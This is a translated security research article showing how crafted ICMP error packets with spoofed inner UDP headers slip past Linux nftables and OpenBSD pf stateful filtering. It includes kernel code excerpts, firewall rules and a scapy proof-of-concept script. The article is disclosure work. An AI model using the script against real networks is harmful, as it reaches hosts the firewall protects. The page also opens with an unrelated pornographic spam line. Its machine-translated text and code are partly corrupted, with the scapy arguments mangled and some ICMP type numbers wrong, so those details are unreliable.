自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

繞過防火墻過濾規(guī)則傳輸ICMP

安全 網(wǎng)站安全
ICMP和ICMPv6是Internet的主要協(xié)議。這些協(xié)議設(shè)計(jì)用于在數(shù)據(jù)包未到達(dá)目的地時(shí)進(jìn)行連接測試和錯(cuò)誤信令。接收ICMP消息讓應(yīng)用程序了解故障原因:數(shù)據(jù)包太大,沒有可用路由等。

ICMP和ICMPv6

ICMP和ICMPv6是Internet的主要協(xié)議。這些協(xié)議設(shè)計(jì)用于在數(shù)據(jù)包未到達(dá)目的地時(shí)進(jìn)行連接測試和錯(cuò)誤信令。接收ICMP消息讓應(yīng)用程序了解故障原因:數(shù)據(jù)包太大,沒有可用路由等。

ICMP消息

出于不同的目的,ICMP [v6]消息由兩個(gè)編碼為兩個(gè)字節(jié)的值標(biāo)識(shí):它們的類型和代碼。每種類型都有不同的含義,例如,ICMP有以下消息:

  • Echo回復(fù)和請(qǐng)求(類型1和8)
  • 目的地?zé)o法到達(dá)(類型3)
  • Source quench(4型)
  • 時(shí)間戳回復(fù)和請(qǐng)求(類型14和15)

當(dāng)ICMPv6具有:

  • 目的地?zé)o法到達(dá)(類型1)
  • 數(shù)據(jù)包太大(類型2)
  • 超過時(shí)間(類型3)
  • 參數(shù)問題(類型4)
  • 路由器詢問和通告(133和134型)
  • 鄰居詢問和通告(135和136型)
  • ….

過去已棄用各種消息類型,而其他消息類型仍在使用中。我們可以根據(jù)其目的大致將ICMP消息分為三類:

  • 請(qǐng)求:它們由主機(jī)生成以查詢某些信息;
  • 回復(fù):它們是上述ICMP請(qǐng)求的ICMP響應(yīng);
  • 錯(cuò)誤:它們是由網(wǎng)絡(luò)設(shè)備或主機(jī)在無法處理數(shù)據(jù)包時(shí)創(chuàng)建的。

本文重點(diǎn)介紹錯(cuò)誤消息。這個(gè)類別非常有趣,因?yàn)樗南⒆鳛閹饬髁堪l(fā)送,以響應(yīng)另一個(gè)協(xié)議的第4層通信。

例如,UDP分組可能生成ICMP錯(cuò)誤。這些錯(cuò)誤通常封裝在ICMP有效負(fù)載,IP報(bào)頭加上違規(guī)數(shù)據(jù)包的下一個(gè)64字節(jié)內(nèi)。圖1顯示了主機(jī)B拒絕封閉端口上的數(shù)據(jù)包的這種行為:

已知的攻擊和措施

作為信令協(xié)議,ICMP消息可以改變接收系統(tǒng)的IP棧的行為。例如,ICMP Redirect和ICMPv6 Router通告可以改變主機(jī)的路由表。

惡意用戶可能濫用ICMP來中斷網(wǎng)絡(luò)操作。過去已記錄了與ICMP相關(guān)的各種攻擊:

  • ICMP打孔[1]是借助ICMP消息遍歷NAT的概念。它要求發(fā)起者在NAT后面;
  • ICMP隧道[2]濫用ICMP協(xié)議將任意數(shù)據(jù)封裝在ICMP消息之上;
  • ICMP ECHO放大[3]使用廣播執(zhí)行DoS;
  • 通過攻擊MTU發(fā)現(xiàn)過程或分組擁塞[4] [5] [6]信令可以減慢網(wǎng)絡(luò)流量;
  • ICMPv6 NDP攻擊[7](類似于IPv4世界中的ARP攻擊);
  • ICMPv6 MLD發(fā)現(xiàn)+ DoS [8](類似于IGMP攻擊)。

通過正確配置操作系統(tǒng)的IP堆棧,可以減輕大多數(shù)這些風(fēng)險(xiǎn)。有趣的是,可以在不使用操作系統(tǒng)防火墻功能的情況下啟用各種ICMP保護(hù)(例如:sysctl,netsh,…)。

在Linux上使用sysctl的示例:

  1. # sysctl -a -r '^net\.ipv[46]\.(icmp|conf\.default\.accept)' | cut -d= -f1 
  2. net.ipv4.conf.default.accept_local  
  3. net.ipv4.conf.default.accept_redirects  
  4. net.ipv4.conf.default.accept_source_route  
  5. net.ipv4.icmp_echo_ignore_all  
  6. net.ipv4.icmp_echo_ignore_broadcasts  
  7. net.ipv4.icmp_errors_use_inbound_ifaddr  
  8. net.ipv4.icmp_ignore_bogus_error_responses  
  9. net.ipv4.icmp_msgs_burst  
  10. net.ipv4.icmp_msgs_per_sec  
  11. net.ipv4.icmp_ratelimit  
  12. net.ipv4.icmp_ratemask  
  13. net.ipv6.conf.default.accept_dad  
  14. net.ipv6.conf.default.accept_ra  
  15. net.ipv6.conf.default.accept_ra_defrtr  
  16. net.ipv6.conf.default.accept_ra_from_local 
  17. ... 
  18. net.ipv6.conf.default.accept_redirects  
  19. net.ipv6.conf.default.accept_source_route  
  20. net.ipv6.icmp.ratelimit  

在理想情況下,危險(xiǎn)的ICMP消息應(yīng)該被每個(gè)主機(jī)的IP堆棧阻止,而不需要防火墻。實(shí)際上,安全加固通常由WAN和受限LAN之間的防火墻實(shí)現(xiàn)。這里有一個(gè)問題:如何過濾ICMP和ICMPv6?

如何過濾ICMP?

1. RFC推薦的內(nèi)容

在過濾ICMP消息時(shí),阻止所有消息類型是不可能的。它會(huì)降低整體用戶體驗(yàn)。例如,阻止“數(shù)據(jù)包太大”實(shí)際上可以完全阻止IPv6工作,并可能嚴(yán)重降低IPv4的性能。

RFC4890 [10](2007)說在第4.3.1章中允許ICMPv6錯(cuò)誤消息。不得丟棄的流量:

對(duì)建立和建設(shè)至關(guān)重要的錯(cuò)誤消息

通訊維護(hù):

  • 目的地?zé)o法到達(dá)(類型1) – 所有代碼
  • 數(shù)據(jù)包太大(類型2)
  • 超過時(shí)間(類型3) – 僅代碼0
  • 參數(shù)問題(類型4) – 僅代碼1和2

(過期)草案“過濾ICMP消息的建議”[9](2013)提供了兩個(gè)表,總結(jié)了當(dāng)設(shè)備充當(dāng)網(wǎng)關(guān)或防火墻時(shí)應(yīng)接受,限速或拒絕哪些ICMP和ICMPv6消息。草案建議允許(接受或限制)以下消息:

  • ICMPv4-unreach-(net|host|frag-needed|admin);
  • ICMPv4-timed-(ttl|reass);
  • 的ICMPv6-unreach-(no-route|admin-prohibited|addr|port|reject-route);
  • ICMPv6的太大;
  • 的ICMPv6-timed-(hop-limit|reass);
  • ICMPv6的參數(shù) – UNREC選項(xiàng);
  • ICMPv6-ERR-擴(kuò)大。

似乎人們對(duì)什么是安全的ICMP流量有不同的看法。通常認(rèn)為防火墻應(yīng)該阻止來自WAN的所有入站ICMP和ICMPv6數(shù)據(jù)包(NDP除外),除非它們與已知的現(xiàn)有連接相關(guān),可以通過狀態(tài)防火墻進(jìn)行跟蹤。

2. 防火墻狀態(tài)和相關(guān)流量

事實(shí)上,狀態(tài)防火墻實(shí)現(xiàn)了相關(guān)數(shù)據(jù)包的概念。這些相關(guān)數(shù)據(jù)包是與附加到現(xiàn)有連接的帶外流量匹配的數(shù)據(jù)包。在相關(guān)概念被用于與ICMP而且還與其他協(xié)議,例如FTP,其可以使用輔助TCP流。

關(guān)于ICMP,帶內(nèi)和帶外流量之間的關(guān)聯(lián)是通過從封裝在ICMP錯(cuò)誤消息中的IP分組中提取“狀態(tài)標(biāo)識(shí)符”來完成的。如果連接已知,則此標(biāo)識(shí)符用于在表中查找。

為了說明這個(gè)概念,讓我們考慮以下示例。在一個(gè)簡單的網(wǎng)絡(luò)中,我們希望只允許LAN上的主機(jī)通過端口1234上的UDP與WAN上的任何主機(jī)聯(lián)系。但我們?nèi)匀幌M鸄接收帶外錯(cuò)誤。在這種情況下,將使用以下高級(jí)防火墻配置:

  • 允許從LAN到WAN udp端口1234的輸入;
  • 如果數(shù)據(jù)包與現(xiàn)有的允許連接相關(guān),則允許從WAN到LAN的輸入;
  • 阻止所有。

傳出的帶內(nèi)UDP流量將匹配規(guī)則:

  • 進(jìn)入的帶外ICMP錯(cuò)誤消息將匹配規(guī)則;
  • 如圖2所示,并且任何其他數(shù)據(jù)包將被規(guī)則3拒絕。

實(shí)際上,防火墻配置的語義不同,并且規(guī)則2在某些實(shí)現(xiàn)中可能是隱含的。

3. 什么是連接狀態(tài)?

到目前為止,我們知道狀態(tài)防火墻從ICMP(或ICMPv6)錯(cuò)誤中推斷出狀態(tài)。但剩下的問題是,哪些信息實(shí)際上是從內(nèi)部IP數(shù)據(jù)包中提取的?

由于第4層協(xié)議具有不同的語義,每個(gè)協(xié)議都有自己的提取器,但我們?cè)诎^濾器和nftables衍生物中觀察到以下內(nèi)容:

對(duì)于TCP,以下字段用于構(gòu)造狀態(tài):

  • 內(nèi)部IP源和目的地;
  • 內(nèi)部源和目標(biāo)端口;
  • SEQ和ACK字段僅用于包過濾器,但不用于nftables。

對(duì)于UDP,以下字段用于構(gòu)造狀態(tài):

  • 內(nèi)部IP源和目的地;
  • 內(nèi)部源和目標(biāo)端口。

對(duì)于ICMP,以下字段用于構(gòu)造狀態(tài):

  • 內(nèi)部IP源和目的地;
  • 各種ICMP字段取決于類型。

對(duì)于其他協(xié)議:

  • 內(nèi)部IP源和目的地;
  • 協(xié)議的id;
  • 如果防火墻支持它們,則將使用協(xié)議提供的屬性(例如:SCTP或UDP-Lite端口)(nftables可以,Packet Filter不能)。

4. 快速回顧一下

總而言之,當(dāng)防火墻收到帶外ICMP錯(cuò)誤時(shí),它會(huì)執(zhí)行以下操作:

1.解碼IP / ICMP或IPv6 / ICMPv6標(biāo)頭;

2.從封裝的IP或IPv6數(shù)據(jù)包中提取狀態(tài);

3.嘗試匹配現(xiàn)有狀態(tài)列表中的“狀態(tài)標(biāo)識(shí)符”;

4.如果內(nèi)部IP數(shù)據(jù)包狀態(tài)與現(xiàn)有狀態(tài)匹配,則將數(shù)據(jù)包標(biāo)記為 相關(guān)。

ICMP-可達(dá)

1. 問題

我們發(fā)現(xiàn),當(dāng)提取內(nèi)部數(shù)據(jù)包以找到狀態(tài)時(shí),與外部數(shù)據(jù)包的相關(guān)性將丟失。這意味著,只要封裝的數(shù)據(jù)包可以與現(xiàn)有連接相關(guān),整個(gè)數(shù)據(jù)包就會(huì)被標(biāo)記為相關(guān)。然后,在大多數(shù)情況下允許該數(shù)據(jù)包通過。

使用惡意制作的ICMP [v6]數(shù)據(jù)包可以濫用此行為,該數(shù)據(jù)包以過濾的主機(jī)為目標(biāo),同時(shí)封裝符合合法狀態(tài)的數(shù)據(jù)包,如下所示:

  1. ICMP-Reachable packet: 
  2. ​ 
  3. [ IP src=@M dst=@H type=ICMP ] 
  4. [ ICMP type=@Type code=@Code ] 
  5. [ IP src=@B dst=@A ] 
  6. [ UDP sport=@Pb dport=Pa ] 
  7. ​ 
  8. M: the attacker IP 
  9. H: the destination IP on which ICMP should be filtered 
  10. A: host IP from which the attacker knows an existing session with B 
  11. B: host IP from which the attacker knows an existing session with A 
  12. Pa: the port used by A its UDP session with B 
  13. Pb: the port used by B its UDP session with A 
  14. Type: the ICMP type of an out-of-band error packet (example 3) 
  15. Code: the ICMP code of an out-of-band error packet (example 3) 

在這種情況下,將允許惡意ICMP [v6]數(shù)據(jù)包通過。nftables和Packet Filter實(shí)現(xiàn)都受此行為的影響。

接下來的章節(jié)將介紹Linux和OpenBSD的實(shí)現(xiàn)細(xì)節(jié),以了解相關(guān)性丟失的位置。

2. NFTABLES實(shí)施和細(xì)節(jié)

Linux在netfilter conntrack模塊中實(shí)現(xiàn)了相關(guān)數(shù)據(jù)包的概念。

它在netfilter/nf_conntrack_core.c中以函數(shù)nf_conntrack_in開始,該函數(shù)處理在參數(shù)skb中傳遞的每個(gè)輸入數(shù)據(jù)包。在nf_conntrack_handle_icmp中處理第4層協(xié)議和ICMP和ICMPv6的提取。

  1. unsigned int 
  2. nf_conntrack_in(struct sk_buff *skb, const struct nf_hook_state *state) 
  3.     // .. 
  4. ​ 
  5.     l4proto = __nf_ct_l4proto_find(protonum); 
  6. ​ 
  7.     if (protonum == IPPROTO_ICMP || protonum == IPPROTO_ICMPV6) { 
  8.         ret = nf_conntrack_handle_icmp(tmpl, skb, dataoff, 
  9.                            protonum, state); 
  10.         if (ret <= 0) { 
  11.             ret = -ret; 
  12.             goto out; 
  13.         } 
  14.         /* ICMP[v6] protocol trackers may assign one conntrack. */ 
  15.         if (skb->_nfct) 
  16.             goto out; 
  17.     } 
  18.     // ... 

nf_conntrack_handle_icmp然后根據(jù)ICMP的版本調(diào)用nf_conntrack_icmpv4_error()或nf_conntrack_icmpv6_error()。這些功能非常相似,所以讓我們關(guān)注ICMP。

如果類型是以下類型之一,則nf_conntrack_icmpv4_error驗(yàn)證ICMP標(biāo)頭并調(diào)用icmp_error_message:ICMP_DEST_UNREACH,ICMP_PARAMETERPROB,ICMP_REDIRECT,ICMP_SOURCE_QUENCH,ICMP_TIME_EXCEEDED:

  1. /* Small and modified version of icmp_rcv */ 
  2. int nf_conntrack_icmpv4_error(struct nf_conn *tmpl, 
  3.                   struct sk_buff *skb, unsigned int dataoff, 
  4.                   const struct nf_hook_state *state) 
  5.     const struct icmphdr *icmph; 
  6.     struct icmphdr _ih; 
  7. ​ 
  8.     /* Not enough header? */ 
  9.     icmph = skb_header_pointer(skb, ip_hdrlen(skb), sizeof(_ih), &_ih); 
  10.     if (icmph == NULL) { 
  11.         icmp_error_log(skb, state, "short packet"); 
  12.         return -NF_ACCEPT; 
  13.     } 
  14. ​ 
  15.     // ... 
  16. ​ 
  17.     if (icmph->type > NR_ICMP_TYPES) { 
  18.         icmp_error_log(skb, state, "invalid icmp type"); 
  19.         return -NF_ACCEPT; 
  20.     } 
  21. ​ 
  22.     /* Need to track icmp error message? */ 
  23.     if (icmph->type != ICMP_DEST_UNREACH && 
  24.         icmph->type != ICMP_SOURCE_QUENCH && 
  25.         icmph->type != ICMP_TIME_EXCEEDED && 
  26.         icmph->type != ICMP_PARAMETERPROB && 
  27.         icmph->type != ICMP_REDIRECT) 
  28.         return NF_ACCEPT; 
  29. ​ 
  30.     return icmp_error_message(tmpl, skb, state); 

然后icmp_error_message負(fù)責(zé)提取和識(shí)別匹配狀態(tài):

  1. /* Returns conntrack if it dealt with ICMP, and filled in skb fields */ 
  2. static int 
  3. icmp_error_message(struct nf_conn *tmpl, struct sk_buff *skb, 
  4.                    const struct nf_hook_state *state) 
  5.     // ... 
  6. ​ 
  7.     WARN_ON(skb_nfct(skb)); 
  8.     zone = nf_ct_zone_tmpl(tmpl, skb, &tmp); 
  9. ​ 
  10.     /* Are they talking about one of our connections? */ 
  11.     if (!nf_ct_get_tuplepr(skb, 
  12.                    skb_network_offset(skb) + ip_hdrlen(skb) 
  13.                                + sizeof(struct icmphdr), 
  14.                    PF_INET, state->net, &origtuple)) { 
  15.         pr_debug("icmp_error_message: failed to get tuple\n"); 
  16.         return -NF_ACCEPT; 
  17.     } 
  18. ​ 
  19.     /* rcu_read_lock()ed by nf_hook_thresh */ 
  20.     innerproto = __nf_ct_l4proto_find(origtuple.dst.protonum); 
  21. ​ 
  22.     /* Ordinarily, we'd expect the inverted tupleproto, but it's 
  23.        been preserved inside the ICMP. */ 
  24.     if (!nf_ct_invert_tuple(&innertuple, &origtuple, innerproto)) { 
  25.         pr_debug("icmp_error_message: no match\n"); 
  26.         return -NF_ACCEPT; 
  27.     } 
  28. ​ 
  29.     ctinfo = IP_CT_RELATED
  30. ​ 
  31.     h = nf_conntrack_find_get(state->net, zone, &innertuple); 
  32.     if (!h) { 
  33.          pr_debug("icmp_error_message: no match\n"); 
  34.         return -NF_ACCEPT; 
  35.     } 
  36. ​ 
  37.     if (NF_CT_DIRECTION(h) == IP_CT_DIR_REPLY) 
  38.         ctinfo += IP_CT_IS_REPLY; 
  39. ​ 
  40.     /* Update skb to refer to this connection */ 
  41.     nf_ct_set(skb, nf_ct_tuplehash_to_ctrack(h), ctinfo); 
  42.     return NF_ACCEPT; 
  • 首先,使用nf_ct_zone_tmpl計(jì)算分組skb的網(wǎng)絡(luò)區(qū)域。nftables有網(wǎng)絡(luò)conntrack區(qū)域的概念。這些區(qū)域允許虛擬化連接跟蹤,以便在conntrack和NAT中處理具有相同身份的多個(gè)連接。除非有明確的規(guī)則要求,否則所有數(shù)據(jù)包都將進(jìn)入0區(qū)(參見目標(biāo)CT的手冊(cè)頁);
  • 然后nf_ct_get_tuplepr用于從ICMP層內(nèi)的IP數(shù)據(jù)報(bào)中提取ip連接狀態(tài) origtuple;
  • nf_ct_invert_tuple執(zhí)行狀態(tài)的源/目標(biāo)交換,因?yàn)樗迷汲稣緮?shù)據(jù)包但防火墻想要檢查入站數(shù)據(jù)包;
  • nf_conntrack_find_get查找與提取的狀態(tài)匹配的已知狀態(tài)。此時(shí)我們看到外層IP層未被考慮用于查找狀態(tài);
  • 如果找到狀態(tài),則nf_ct_set標(biāo)記具有相關(guān)狀態(tài)(IP_CT_RELATED)的sbk數(shù)據(jù)包。

對(duì)于ICMPv6,我們對(duì)類型小于128的消息有類似的實(shí)現(xiàn)。

3. 包過濾器實(shí)現(xiàn)和細(xì)節(jié)

在包過濾器中,相關(guān)的概念實(shí)際上是隱含的,并且在狀態(tài)的概念下實(shí)現(xiàn)。包過濾的總體設(shè)計(jì)如下:

數(shù)據(jù)包可以與狀態(tài)相關(guān)聯(lián)嗎?

  • 如果是,則允許數(shù)據(jù)包通過;
  • 如果不是,則根據(jù)過濾規(guī)則測試分組。如果匹配規(guī)則允許數(shù)據(jù)包通過,則可能會(huì)創(chuàng)建狀態(tài)。

整個(gè)邏輯在/sys/net/pf.c中的函數(shù)pf_test中實(shí)現(xiàn)。下一個(gè)摘錄顯示了ICMP的這種處理[v6](為了清楚起見,部分代碼已被剝離):

  1. pf_test(sa_family_t af, int fwdir, struct ifnet *ifp, struct mbuf **m0) 
  2.     // ... 
  3.     switch (pd.virtual_proto) { 
  4. ​ 
  5.     case IPPROTO_ICMP: { 
  6.         // look for a known state 
  7.         action = pf_test_state_icmp(&pd, &s, &reason);  
  8.         s = pf_state_ref(s); 
  9. ​ 
  10.         if (action == PF_PASS || action == PF_AFRT) { 
  11.             // if a valid state is found the packet might go there 
  12.             // without being tested against the filtering rules 
  13.             r = s->rule.ptr; 
  14.             a = s->anchor.ptr; 
  15.             pd.pflog |= s->log; 
  16. ​ 
  17.         } else if (s == NULL) { 
  18.             // if no state is found the packet is tested 
  19.             action = pf_test_rule(&pd, &r, &s, &a, &ruleset, &reason); 
  20.             s = pf_state_ref(s); 
  21.         } 
  22.         break; 
  23.     } 
  24. ​ 
  25.     case IPPROTO_ICMPV6: { 
  26.         // look for a known state 
  27.         action = pf_test_state_icmp(&pd, &s, &reason); 
  28.         s = pf_state_ref(s); 
  29. ​ 
  30.         if (action == PF_PASS || action == PF_AFRT) { 
  31.             // if a valid state is found the packet might go there 
  32.             // without being tested against the filtering rules 
  33.             r = s->rule.ptr; 
  34.             a = s->anchor.ptr; 
  35.             pd.pflog |= s->log; 
  36.         } else if (s == NULL) { 
  37.             // if no state is found the packet is tested 
  38.             action = pf_test_rule(&pd, &r, &s, &a, &ruleset, &reason); 
  39.             s = pf_state_ref(s); 
  40.         } 
  41.         break; 
  42.     } 
  43. ​ 
  44.     // ... 

pf_test_state_icmp()是嘗試查找此數(shù)據(jù)包與已知連接之間關(guān)系的函數(shù)。它使用對(duì)pf_icmp_mapping()的調(diào)用來了解數(shù)據(jù)包是帶內(nèi)還是帶外。在后一種情況下,提取內(nèi)部IP分組及其第4層協(xié)議以找到狀態(tài)。這在以下摘錄中顯示:

  1. int pf_test_state_icmp(struct pf_pdesc *pd, struct pf_state **state, u_short *reason) { 
  2.     // ... 
  3. ​ 
  4.     if (pf_icmp_mapping(pd, icmptype, &icmp_dir, &virtual_id, &virtual_type) == 0) { // <-- 1 
  5.         /* 
  6.          * ICMP query/reply message not related to a TCP/UDP packet. 
  7.          * Search for an ICMP state. 
  8.          */ 
  9. ​ 
  10.         // ... 
  11.     } else { // <-- 2 
  12.         /* 
  13.          * ICMP error message in response to a TCP/UDP packet. 
  14.          * Extract the inner TCP/UDP header and search for that state. 
  15.          */ 
  16. ​ 
  17.         switch (pd->af) { 
  18.         case AF_INET: // <-- 3 
  19.             if (!pf_pull_hdr(pd2.m, ipoff2, &h2, sizeof(h2), NULL, reason, pd2.af))) 
  20.             { /* ... */ } 
  21. ​ 
  22.         case AF_INET6: // <-- 4 
  23.             if (!pf_pull_hdr(pd2.m, ipoff2, &h2_6, sizeof(h2_6), NULL, reason, pd2.af)) 
  24.             { /* ... */ } 
  25.             // ... 
  26. ​ 
  27.         switch (pd2.proto) { 
  28.         case IPPROTO_TCP: { 
  29.             struct tcphdr *th = &pd2.hdr.tcp; 
  30.             // ... 
  31.             if (!pf_pull_hdr(pd2.m, pd2.off, th, 8, NULL, reason, pd2.af)) { // <-- 5 
  32.                 // ... 
  33.             } 
  34.             key.af = pd2.af; // <-- 6  
  35.             key.proto = IPPROTO_TCP
  36.             key.rdomain = pd2.rdomain; 
  37.             PF_ACPY(&key.addr[pd2.sidx], pd2.src, key.af); 
  38.             PF_ACPY(&key.addr[pd2.didx], pd2.dst, key.af); 
  39.             key.port[pd2.sidx] = th->th_sport; 
  40.             key.port[pd2.didx] = th->th_dport; 
  41. ​ 
  42.             action = pf_find_state(&pd2, &key, state); // <-- 7 
  43.             if (action != PF_MATCH) 
  44.                 return (action); 
  45. ​ 
  46.             // ... 
  47. ​ 
  48.             break; 
  49.         } 
  50.         case IPPROTO_UDP: { 
  51.             struct udphdr *uh = &pd2.hdr.udp; 
  52.             int action; 
  53.             if (!pf_pull_hdr(pd2.m, pd2.off, uh, sizeof(*uh), NULL, reason, pd2.af)) { // <-- 8 
  54.                 // ... 
  55.             } 
  56. ​ 
  57.             key.af = pd2.af; // <-- 9 
  58.             key.proto = IPPROTO_UDP
  59.             key.rdomain = pd2.rdomain; 
  60.             PF_ACPY(&key.addr[pd2.sidx], pd2.src, key.af); 
  61.             PF_ACPY(&key.addr[pd2.didx], pd2.dst, key.af); 
  62.             key.port[pd2.sidx] = uh->uh_sport; 
  63.             key.port[pd2.didx] = uh->uh_dport; 
  64. ​ 
  65.             action = pf_find_state(&pd2, &key, state); // <-- 10 
  66.             if (action != PF_MATCH) 
  67.                 return (action); 
  68.             break; 
  69.         } 
  70.         case IPPROTO_ICMP: { 
  71.             // ... 
  72.             break; 
  73.         } 
  74.         case IPPROTO_ICMPV6: { 
  75.             // ... 
  76.             break; 
  77.         } 
  78. ​ 
  79.         default: { // <-- 11 
  80.             int action; 
  81.             key.af = pd2.af; 
  82.             key.proto = pd2.proto; 
  83.             key.rdomain = pd2.rdomain; 
  84.             PF_ACPY(&key.addr[pd2.sidx], pd2.src, key.af); 
  85.             PF_ACPY(&key.addr[pd2.didx], pd2.dst, key.af); 
  86.             key.port[0] = key.port[1] = 0; 
  87.             action = pf_find_state(&pd2, &key, state); 
  88.             // ... 
  89.             break; 
  90.         } 
  91.     } 

pf_icmp_mapping()確定是否應(yīng)該提取內(nèi)部數(shù)據(jù)包。如果是,則繼續(xù)執(zhí)行。

此時(shí)僅針對(duì)以下數(shù)據(jù)包繼續(xù)執(zhí)行:

  1. 1.IPv4上的ICMP_UNREACH;  
  2. 2.IPv4上的ICMP_SOURCEQUENCH;  
  3. 3.IPv4上的ICMP_REDIRECT;  
  4. 4.IPv4上的ICMP_TIMXCEED;  
  5. 5.IPv4上的ICMP_PARAMPROB;  
  6. 6.IPv6的ICMP6_DST_UNREACH;  
  7. 7.IPv6上的ICMP6_PACKET_TOO_BIG;  
  8. 8.IPv6上的ICMP6_TIME_EXCEEDED;  
  9. 9.IPv6上的ICMP6_PARAM_PROB。 
  • 3和4:根據(jù)版本提取IP頭;
  • 5和8:提取UDP或TCP的標(biāo)題;
  • 6和9:初始化查找密鑰,而不考慮上層IP分組;
  • 7和10:執(zhí)行狀態(tài)查找,如果發(fā)現(xiàn)狀態(tài),則函數(shù)可以返回PF_PASS,允許數(shù)據(jù)包通過。

4. poc

為了演示攻擊,我們將考慮具有4個(gè)主機(jī),兩個(gè)子網(wǎng),LAN和WAN以及中間防火墻的網(wǎng)絡(luò)的簡單情況。我們將使用Linux nftables和OpenBSD Packet Filter作為防火墻來測試場景。虛擬機(jī)或真實(shí)虛擬機(jī)可用于設(shè)置環(huán)境。請(qǐng)注意,IP范圍或系列與問題無關(guān),只有NAT可以影響可利用性,這將在下一部分中討論。

免責(zé)聲明2:我們被告知我們?cè)趯?shí)驗(yàn)中使用了真正的IP前綴,最好使用那些用于文檔的前綴。

1.0.0.0/8下的WAN是一個(gè)不受信任的網(wǎng)絡(luò);

在2.0.0.0/24下的局域網(wǎng)是一個(gè)受信任的網(wǎng)絡(luò),其訪問必須由防火墻過濾;

  • M,WAN上的攻擊者,IP 1.0.0.10;
  • A,WAN上的主機(jī),IP 1.0.0.11;
  • H,局域網(wǎng)上的敏感服務(wù)器,IP 2.0.0.10;
  • B,LAN上的主機(jī),IP 2.0.0.11;
  • F,WAN與LAN之間的防火墻,IP 1.0.0.2和2.0.0.2。

我們將考慮端口53和1234上從A到B建立的會(huì)話UDP。攻擊者必須知道這些會(huì)話參數(shù),這不是后面討論的強(qiáng)假設(shè)。

防火墻配置應(yīng)該:

  • 阻止所有來自WAN的ICMP到LAN;
  • 允許ICMP從LAN到WAN;
  • 允許A和B之間的UDP連接;
  • 阻止其他一切。

在這些條件下,我們預(yù)計(jì)攻擊者無法向H發(fā)送單個(gè)ICMP [v6]數(shù)據(jù)包。

對(duì)于Linux實(shí)驗(yàn),防火墻配置如下(使用命令nft也可以這樣做):

  1. #iptables -P INPUT DROP 
  2. #iptables -P FORWARD DROP 
  3. #iptables -P OUTPUT DROP 
  4. #iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT 
  5. #iptables -A FORWARD -i if-wan -o if-lan -p udp --dport 53 -j ACCEPT 

對(duì)于OpenBSD實(shí)驗(yàn),防火墻配置如下:

  1. # em0 is on the WAN 
  2. # em1 is on the LAN 
  3. ​ 
  4. block all 
  5. ​ 
  6. # explicitly block icmp from the WAN to the LAN 
  7. block in on em0 proto icmp 
  8. ​ 
  9. # allow icmp from the lan to both the WAN and LAN 
  10. pass in  on em1 inet proto icmp from em1:network 
  11. pass out on em1 inet proto icmp from em1:network 
  12. pass out on em0 inet proto icmp from em1:network 
  13. ​ 
  14. # allow udp to B  
  15. pass in  on em0 proto udp to b port 53 
  16. pass out on em1 proto udp to b port 53 
  17. pass in  on em1 proto udp from b port 53 
  18. pass out on em0 proto udp from b port 53 

在B上模擬UDP服務(wù):

  1. (B) $ nc -n -u -l 53 

對(duì)于A,建立連接:

  1. (A) $ nc -u -n -p 1234 2.0.0.11 53 
  2. TEST 

我們可以檢查從M到H的入站ICMP是否被過濾:

  1. (M) $ ping -c 1 2.0.0.10 -W2 
  2. ​ 
  3. PING 2.0.0.10 (2.0.0.10) 56(84) bytes of data. 
  4. --- 2.0.0.10 ping statistics --- 
  5. 1 packets transmitted, 0 received, 100% packet loss, time 0ms 

現(xiàn)在我們將使用以下使用精彩scapy庫的python腳本:

  1. from scapy.all import * 
  2. M = "1.0.0.10" # attacker 
  3. H = "2.0.0.10" # protected server 
  4. A = "1.0.0.11"  
  5. B = "2.0.0.11" 
  6. Pa = 1234 
  7. Pb = 53 
  8. ​ 
  9. icmp_reachable = IP(src=Mdst=H) / \ 
  10.                  ICMP(type=3code=3) / \ 
  11.                  IP(src=Bdst=A) / \ 
  12.                  UDP(sport=Pbdport=Pa
  13. send(icmp_reachable) 

在Linux和OpenBSD情況下,網(wǎng)絡(luò)捕獲顯示ICMP數(shù)據(jù)包由防火墻轉(zhuǎn)發(fā)到H并從一個(gè)接口傳遞到另一個(gè)接口。

Wireshark捕獲顯示第二個(gè)ICMP消息從一個(gè)接口轉(zhuǎn)到另一個(gè)接口。因此,無論過濾規(guī)則如何,攻擊者都能夠?qū)?shù)據(jù)包發(fā)送到正常過濾的主機(jī)H。

責(zé)任編輯:趙寧寧 來源: Freebuf
相關(guān)推薦

2009-09-28 10:06:09

Linux防火墻Linux規(guī)則

2010-07-13 22:16:30

INBOUND ICM

2020-08-11 08:25:21

HTTPSSHLinux防火墻

2013-09-11 20:09:08

下一代防火墻NGFW

2014-07-23 10:39:03

2011-03-16 16:23:23

保存iptables防火墻

2010-09-27 15:57:15

防火墻規(guī)則集

2011-01-28 09:18:03

2010-09-14 10:07:40

2011-12-07 13:36:53

ibmdw

2010-09-09 14:25:32

2010-12-21 18:04:26

2010-09-14 13:08:52

2010-12-08 09:29:27

下一代防火墻

2023-10-24 15:43:07

2025-02-17 14:38:49

2010-05-24 17:49:56

2011-06-27 13:31:21

2012-11-11 14:33:53

2018-08-09 23:54:38

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)